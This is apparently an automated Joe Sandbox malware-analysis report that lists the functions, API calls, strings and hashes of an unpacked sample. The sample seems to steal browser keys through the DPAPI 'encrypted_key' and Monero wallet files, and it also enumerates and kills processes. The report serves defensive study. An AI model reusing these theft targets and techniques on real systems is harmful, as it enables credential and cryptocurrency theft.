Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: c5d5e337bb2f2678fd40105cad5de211755d2b1abb08a5a5e8a22bc8af273f1d
Instruction ID: 5e31664a67d1035641b782e2396d5c13f5daff19c6cf7596e4f91ac908a91837
Opcode Fuzzy Hash: c5d5e337bb2f2678fd40105cad5de211755d2b1abb08a5a5e8a22bc8af273f1d
Instruction Fuzzy Hash: 33314DB1901218ABDB14EB50DC8AFDEBB78BF94300F408188F255661D1DF746B48CF5A

Function 005087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00510E28,00000000,?), ref: 0050882F
RtlAllocateHeap.NTDLL(00000000), ref: 00508836
wsprintfA.USER32 ref: 00508850

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Strings

%dx%d, xrefs: 00508847

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 2dc201f1b6455aae33e4205b1b6ac31f57749294a95fa8160a4823f0976087cc
Instruction ID: 23ac964317f978bceec80068538d2d7c9f804dd9b03a3fd544395aecced3a07f
Opcode Fuzzy Hash: 2dc201f1b6455aae33e4205b1b6ac31f57749294a95fa8160a4823f0976087cc
Instruction Fuzzy Hash: 2B2130B1A40204BFEB04DF94DD4AFAEBBB8FB48701F108119F645A72C0C7799900CBA5

Function 00508D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0050951E,00000000), ref: 00508D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00508D62
wsprintfW.USER32 ref: 00508D78

Strings

%hs, xrefs: 00508D6F

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0e56dc33fbccb107a66819686c560aada2bffd55fbb776ebc6c805501afd7e8d
Instruction ID: f000bb762dc42fd262dde45f4d83cc1fff2f1a5002a3a2050dd71ba7eacf0688
Opcode Fuzzy Hash: 0e56dc33fbccb107a66819686c560aada2bffd55fbb776ebc6c805501afd7e8d
Instruction Fuzzy Hash: FCE086B1A40208FBE700DB94DC0EE9977B8EB04702F004054FD4987280D9755E008B56

Function 004FA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 00508B60: GetSystemTime.KERNEL32(00510E1A,012D9AC8,005105AE,?,?,004F13F9,?,0000001A,00510E1A,00000000,?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 00508B86

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004FA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 004FA3FF
lstrlen.KERNEL32(00000000), ref: 004FA6BC

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

DeleteFileA.KERNEL32(00000000), ref: 004FA743

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0c1b3f40f7b32b2aabe5e25ed16686f0443cc02d48b7a763c98aa4e2ce5b47bf
Instruction ID: 93ce80d048d2eab7f52924fe291221c7d6f2eaf2697fa83fc90bab0a93626ecc
Opcode Fuzzy Hash: 0c1b3f40f7b32b2aabe5e25ed16686f0443cc02d48b7a763c98aa4e2ce5b47bf
Instruction Fuzzy Hash: 62E1FC72910209AADB04EBA4DC9AEEE7738BFA4300F50C559F516720D1EF346A49CB66

Function 004FD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 00508B60: GetSystemTime.KERNEL32(00510E1A,012D9AC8,005105AE,?,?,004F13F9,?,0000001A,00510E1A,00000000,?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 00508B86

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004FD481
lstrlen.KERNEL32(00000000), ref: 004FD698
lstrlen.KERNEL32(00000000), ref: 004FD6AC
DeleteFileA.KERNEL32(00000000), ref: 004FD72B

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e6e8dc65938d0e796f916fea7547576c1e742ba411895db71d4682ae47374bf1
Instruction ID: 93a6c4385626bdc9768ce584729f6bb1905cb25e9b82a9daa1e47d24136d8cb4
Opcode Fuzzy Hash: e6e8dc65938d0e796f916fea7547576c1e742ba411895db71d4682ae47374bf1
Instruction Fuzzy Hash: BA9135729102099BDB04FBA0DD9AEEE7738BF94300F508569F507B60D1EF346A49CB66

Function 004FD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 00508B60: GetSystemTime.KERNEL32(00510E1A,012D9AC8,005105AE,?,?,004F13F9,?,0000001A,00510E1A,00000000,?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 00508B86

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004FD801
lstrlen.KERNEL32(00000000), ref: 004FD99F
lstrlen.KERNEL32(00000000), ref: 004FD9B3
DeleteFileA.KERNEL32(00000000), ref: 004FDA32

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 52c5f8b88498a41bd6f7d0ed7b59c4d9d7e85032cff0cdcd0a784a1078e8412d
Instruction ID: 915c56758af456ec62a5f917a4d94e2ee9f47770cbb78c142e8921d15755af60
Opcode Fuzzy Hash: 52c5f8b88498a41bd6f7d0ed7b59c4d9d7e85032cff0cdcd0a784a1078e8412d
Instruction Fuzzy Hash: AE8104729102099BDB04FBB4DD9AEEE7B38BF94300F508519F547A60D1EF346A09CB66

Function 00503560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 163dc156244e544f65fa18ede2e1da686d11a5e257e38575cb7c35e7e5bdb673
Instruction ID: d50a96fca61134b9ac43fd72d2690a88a8fe6b7ae8e0d73783004d9bc6c287b5
Opcode Fuzzy Hash: 163dc156244e544f65fa18ede2e1da686d11a5e257e38575cb7c35e7e5bdb673
Instruction Fuzzy Hash: 27411F71D10209ABDB04EFA4D88AEFEBB78BF54304F008418E516662D0EB75AA45CFA1

Function 004F9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 004F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F99EC
Part of subcall function 004F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004F9A11
Part of subcall function 004F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004F9A31
Part of subcall function 004F99C0: ReadFile.KERNEL32(000000FF,?,00000000,004F148F,00000000), ref: 004F9A5A
Part of subcall function 004F99C0: LocalFree.KERNEL32(004F148F), ref: 004F9A90
Part of subcall function 004F99C0: CloseHandle.KERNEL32(000000FF), ref: 004F9A9A

Part of subcall function 00508E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00508E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004F9D39

Part of subcall function 004F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NO,00000000,00000000), ref: 004F9AEF
Part of subcall function 004F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,004F4EEE,00000000,?), ref: 004F9B01
Part of subcall function 004F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NO,00000000,00000000), ref: 004F9B2A
Part of subcall function 004F9AC0: LocalFree.KERNEL32(?,?,?,?,004F4EEE,00000000,?), ref: 004F9B3F

Part of subcall function 004F9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004F9B84
Part of subcall function 004F9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 004F9BA3
Part of subcall function 004F9B60: LocalFree.KERNEL32(?), ref: 004F9BD3

Strings

"encrypted_key":", xrefs: 004F9D30
DPAPI, xrefs: 004F9D89
, xrefs: 004F9DC1

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 0627715bd5d653d363c9dd0f374fa005081b25cc60868bdd9187db7e7e4c1992
Instruction ID: b118b69144e23ae8491b628b1ef8d1908932df071c7db525aac66f50b3bf9856
Opcode Fuzzy Hash: 0627715bd5d653d363c9dd0f374fa005081b25cc60868bdd9187db7e7e4c1992
Instruction Fuzzy Hash: 99312DB5D1020EABDB14EBA4DC85FFFB7B8BB48304F144559EA05A7241E7349E04CBA5

Function 005094D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005094EB

Part of subcall function 00508D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0050951E,00000000), ref: 00508D5B
Part of subcall function 00508D50: RtlAllocateHeap.NTDLL(00000000), ref: 00508D62
Part of subcall function 00508D50: wsprintfW.USER32 ref: 00508D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 005095AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 005095C9
CloseHandle.KERNEL32(00000000), ref: 005095D6

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 73e12e7c1cb6feefeca42b2a645c0694c48470796fdd073ee5f78c56ab2ece36
Instruction ID: d3940e824783b65ed0b5c582d8e5a2812f9b3bf7dc1249c146922bf2009d6741
Opcode Fuzzy Hash: 73e12e7c1cb6feefeca42b2a645c0694c48470796fdd073ee5f78c56ab2ece36
Instruction Fuzzy Hash: 67311E71A01208AFDB14DFD0CD4ABEDB774FF44301F108459E506AA1C9DB789A49CB55

Function 00508680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005105B7), ref: 005086CA
Process32First.KERNEL32(?,00000128), ref: 005086DE
Process32Next.KERNEL32(?,00000128), ref: 005086F3

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

CloseHandle.KERNEL32(?), ref: 00508761

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: b0d417c244eaa9a1461150b02029430b9c40f1b7697285dac5026c380f382dc3
Instruction ID: a3c25fbfc955fd6bf35174cec99b6323f0f3f9133c8170cd3ff314c8b3d8eddc
Opcode Fuzzy Hash: b0d417c244eaa9a1461150b02029430b9c40f1b7697285dac5026c380f382dc3
Instruction Fuzzy Hash: 60315C71901219ABDB24DF50CC45FEEBB78FF85700F108599A10AA21E0DB746A45CFA1

Function 00507980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00510E00,00000000,?), ref: 005079B0
RtlAllocateHeap.NTDLL(00000000), ref: 005079B7
GetLocalTime.KERNEL32(?,?,?,?,?,00510E00,00000000,?), ref: 005079C4
wsprintfA.USER32 ref: 005079F3

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
